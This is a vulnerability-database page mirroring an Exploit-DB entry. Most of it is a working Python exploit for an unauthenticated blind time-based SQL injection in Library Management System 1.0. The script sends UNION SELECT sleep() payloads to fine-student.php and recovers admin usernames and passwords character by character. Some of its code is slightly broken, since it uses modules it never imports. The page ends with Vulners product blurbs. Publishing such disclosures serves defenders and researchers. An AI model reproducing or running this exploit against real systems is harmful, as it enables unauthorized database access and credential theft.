Lucene search
K

Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)

🗓️ 17 Sep 2021 00:00:00Reported by bokuType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 239 Views

Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated) allowing remote attackers to dump the SQL database

Code
# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
# Date: 16/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Vendor: breakthrough2
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.   
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
    sqli  = 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(1),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    if pxy:
        req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    else:
        req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
    #print("{} : {}".format(char,req.elapsed.total_seconds()))
    return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
    #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 8:
        for char in CHARS:
            sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
            if postRequest(url,sqliReq,char,position,pxy) > 1:
                theHarvest += char
                break;
        position += 1
    return theHarvest

class userObj:
    def __init__(self,username,password):
        self.username = username
        self.password = password

class tableSize:
    def __init__(self,sizeU,sizeP):
        self.sizeU = sizeU
        self.sizeP = sizeP
        self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
        self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
    def printHeader(self):
        width = self.sizeU+self.sizeP+3
        print(BR+" "*width+ST)
        print(self.uTitle,self.pTitle)
        print(BR+" "*width+ST)

def printTableRow(user,size):
    username = user.username
    unLen = len(username)
    if unLen < size.sizeU:
        username = username+(" "*(size.sizeU - unLen))
    else:
        name = name[:size.sizeU]
    username += BR+" "+ST
    password = user.password
    pLen = len(password)
    if pLen < size.sizeP:
        password = password+(" "*(size.sizeP - pLen))
    else:
        password = password[:size.sizeP]
    password  += BR+" "+ST
    print(username,password)


def sig():
    SIG  = SB+FY+"         .-----.._       ,--.\n"
    SIG += FY+"         |  ..    >  ___ |  | .--.\n"
    SIG += FY+"         |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __\n"
    SIG += FY+"         |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\\n"
    SIG += FY+"         |  |>   )  "+FR+" * *"+FY+"   /    \\        \\\n"
    SIG += FY+"         |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+"             _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
    parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
    parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
    args = parser.parse_args()
    if args.proxy:
        regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'
        if re.match(regex,args.proxy,re.IGNORECASE):
            args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
        else:
            print('{}Error:   Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
            print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
            sys.exit(-1)
    else:
        proxy = False
    return args

if __name__ == "__main__":
    header = SB+FT+'               '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    print(sig())
    args   = argsetup()
    host   = args.targetHost
    pxy    = args.proxy
    admins = args.DumpXAdmins
    PATH   = host+"/LibraryManagement/fine-student.php"
    size  = tableSize(20,20)
    size.printHeader()
    dumpnumber = 1
    while dumpnumber <= admins:
        adminUsername  = { "id":dumpnumber, "table":"admin", "column":"username"}
        adminUsername  = theHarvester(adminUsername,chars,PATH,pxy)
        adminPassword  = { "id":dumpnumber, "table":"admin", "column":"password"}
        adminPass = theHarvester(adminPassword,chars,PATH,pxy)
        adminUser = userObj(adminUsername,adminPass)
        printTableRow(adminUser,size)
        # print("Admin's Username is: {}".format(adminUsername))
        # print("Admin's Password is: {}".format(adminPass))
        dumpnumber += 1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation